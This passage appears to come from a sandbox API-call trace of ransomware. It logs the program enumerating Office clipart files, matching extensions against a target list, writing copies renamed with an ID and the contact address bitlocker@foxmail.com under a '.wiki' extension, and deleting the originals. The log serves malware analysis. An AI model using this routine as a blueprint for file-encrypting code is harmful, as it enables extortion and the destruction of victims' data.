lpString2=".JPG") returned -1 [0196.713] lstrlenW (lpString=".7z") returned 3 [0196.713] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.713] lstrlenW (lpString=".dbf") returned 4 [0196.713] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.713] lstrlenW (lpString=".1cd") returned 4 [0196.713] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.713] lstrlenW (lpString=".jpg") returned 4 [0196.713] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.713] lstrlenW (lpString=".doc") returned 4 [0196.713] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.713] lstrlenW (lpString=".docx") returned 5 [0196.713] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0196.713] lstrlenW (lpString=".pdf") returned 4 [0196.713] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.713] lstrlenW (lpString=".xls") returned 4 [0196.713] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.713] lstrlenW (lpString=".xlsx") returned 5 [0196.713] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0196.713] lstrlenW (lpString=".ppt") returned 4 [0196.713] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.714] lstrlenW (lpString=".zip") returned 4 [0196.714] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.714] lstrlenW (lpString=".rar") returned 4 [0196.714] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.714] lstrlenW (lpString=".bz2") returned 4 [0196.714] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.714] lstrlenW (lpString=".7z") returned 3 [0196.714] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.714] lstrlenW (lpString=".dbf") returned 4 [0196.714] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.714] lstrlenW (lpString=".1cd") returned 4 [0196.714] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.714] lstrlenW (lpString=".jpg") returned 4 [0196.714] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.714] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.714] lstrlenW (lpString="J0148798.JPG") returned 12 [0196.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.715] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=38237) returned 1 [0196.715] CloseHandle (hObject=0x17c) returned 1 [0196.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 0x20 [0196.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.715] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.715] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.716] GetLastError () returned 0x0 [0196.716] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x955d, lpOverlapped=0x0) returned 1 [0196.738] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x9560, lpOverlapped=0x0) returned 1 [0196.739] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.739] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.739] SetEndOfFile (hFile=0x218) returned 1 [0196.739] CloseHandle (hObject=0x218) returned 1 [0196.739] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.739] SetEndOfFile (hFile=0x17c) returned 1 [0196.740] CloseHandle (hObject=0x17c) returned 1 [0196.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0196.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.741] lstrlenW (lpString=".doc") returned 4 [0196.741] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.741] lstrlenW (lpString=".docx") returned 5 [0196.741] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0196.741] lstrlenW (lpString=".pdf") returned 4 [0196.741] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.741] lstrlenW (lpString=".xls") returned 4 [0196.741] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.741] lstrlenW (lpString=".xlsx") returned 5 [0196.741] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0196.741] lstrlenW (lpString=".ppt") returned 4 [0196.741] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.741] lstrlenW (lpString=".zip") returned 4 [0196.741] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.741] lstrlenW (lpString=".rar") returned 4 [0196.741] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.741] lstrlenW (lpString=".bz2") returned 4 [0196.741] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.742] lstrlenW (lpString=".7z") returned 3 [0196.742] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.742] lstrlenW (lpString=".dbf") returned 4 [0196.742] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.742] lstrlenW (lpString=".1cd") returned 4 [0196.742] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.742] lstrlenW (lpString=".jpg") returned 4 [0196.742] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.742] lstrlenW (lpString=".doc") returned 4 [0196.742] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.742] lstrlenW (lpString=".docx") returned 5 [0196.742] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0196.742] lstrlenW (lpString=".pdf") returned 4 [0196.742] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.742] lstrlenW (lpString=".xls") returned 4 [0196.742] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.742] lstrlenW (lpString=".xlsx") returned 5 [0196.742] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0196.742] lstrlenW (lpString=".ppt") returned 4 [0196.742] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.742] lstrlenW (lpString=".zip") returned 4 [0196.742] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.743] lstrlenW (lpString=".rar") returned 4 [0196.743] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.743] lstrlenW (lpString=".bz2") returned 4 [0196.743] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.743] lstrlenW (lpString=".7z") returned 3 [0196.743] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.743] lstrlenW (lpString=".dbf") returned 4 [0196.743] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.743] lstrlenW (lpString=".1cd") returned 4 [0196.743] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0196.743] lstrlenW (lpString=".jpg") returned 4 [0196.743] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.743] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.743] lstrlenW (lpString="J0150150.WMF") returned 12 [0196.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.744] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=46404) returned 1 [0196.744] CloseHandle (hObject=0x17c) returned 1 [0196.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 0x20 [0196.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.744] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.744] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.745] GetLastError () returned 0x0 [0196.745] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xb544, lpOverlapped=0x0) returned 1 [0196.846] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xb550, lpOverlapped=0x0) returned 1 [0196.847] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.847] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.847] SetEndOfFile (hFile=0x218) returned 1 [0196.847] CloseHandle (hObject=0x218) returned 1 [0196.847] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.848] SetEndOfFile (hFile=0x17c) returned 1 [0196.848] CloseHandle (hObject=0x17c) returned 1 [0196.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0196.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.849] lstrlenW (lpString=".doc") returned 4 [0196.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.849] lstrlenW (lpString=".docx") returned 5 [0196.849] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.849] lstrlenW (lpString=".pdf") returned 4 [0196.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.849] lstrlenW (lpString=".xls") returned 4 [0196.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.849] lstrlenW (lpString=".xlsx") returned 5 [0196.849] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.849] lstrlenW (lpString=".ppt") returned 4 [0196.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.849] lstrlenW (lpString=".zip") returned 4 [0196.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.849] lstrlenW (lpString=".rar") returned 4 [0196.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.849] lstrlenW (lpString=".bz2") returned 4 [0196.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString=".7z") returned 3 [0196.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.850] lstrlenW (lpString=".dbf") returned 4 [0196.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.850] lstrlenW (lpString=".1cd") returned 4 [0196.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.850] lstrlenW (lpString=".jpg") returned 4 [0196.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.850] lstrlenW (lpString=".doc") returned 4 [0196.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString=".docx") returned 5 [0196.850] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.850] lstrlenW (lpString=".pdf") returned 4 [0196.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString=".xls") returned 4 [0196.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.850] lstrlenW (lpString=".xlsx") returned 5 [0196.850] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.850] lstrlenW (lpString=".ppt") returned 4 [0196.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.850] lstrlenW (lpString=".zip") returned 4 [0196.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.850] lstrlenW (lpString=".rar") returned 4 [0196.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.851] lstrlenW (lpString=".bz2") returned 4 [0196.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.851] lstrlenW (lpString=".7z") returned 3 [0196.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.851] lstrlenW (lpString=".dbf") returned 4 [0196.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.851] lstrlenW (lpString=".1cd") returned 4 [0196.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0196.851] lstrlenW (lpString=".jpg") returned 4 [0196.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.851] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.851] lstrlenW (lpString="J0151067.WMF") returned 12 [0196.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.852] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=13204) returned 1 [0196.852] CloseHandle (hObject=0x17c) returned 1 [0196.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 0x20 [0196.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.852] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.852] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.853] GetLastError () returned 0x0 [0196.853] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3394, lpOverlapped=0x0) returned 1 [0196.854] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x33a0, lpOverlapped=0x0) returned 1 [0196.855] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.856] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.856] SetEndOfFile (hFile=0x218) returned 1 [0196.856] CloseHandle (hObject=0x218) returned 1 [0196.856] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.856] SetEndOfFile (hFile=0x17c) returned 1 [0196.857] CloseHandle (hObject=0x17c) returned 1 [0196.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0196.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.857] lstrlenW (lpString=".doc") returned 4 [0196.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString=".docx") returned 5 [0196.857] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0196.857] lstrlenW (lpString=".pdf") returned 4 [0196.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString=".xls") returned 4 [0196.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.857] lstrlenW (lpString=".xlsx") returned 5 [0196.857] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0196.857] lstrlenW (lpString=".ppt") returned 4 [0196.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.858] lstrlenW (lpString=".zip") returned 4 [0196.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.858] lstrlenW (lpString=".rar") returned 4 [0196.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString=".bz2") returned 4 [0196.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString=".7z") returned 3 [0196.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.858] lstrlenW (lpString=".dbf") returned 4 [0196.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.858] lstrlenW (lpString=".1cd") returned 4 [0196.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.858] lstrlenW (lpString=".jpg") returned 4 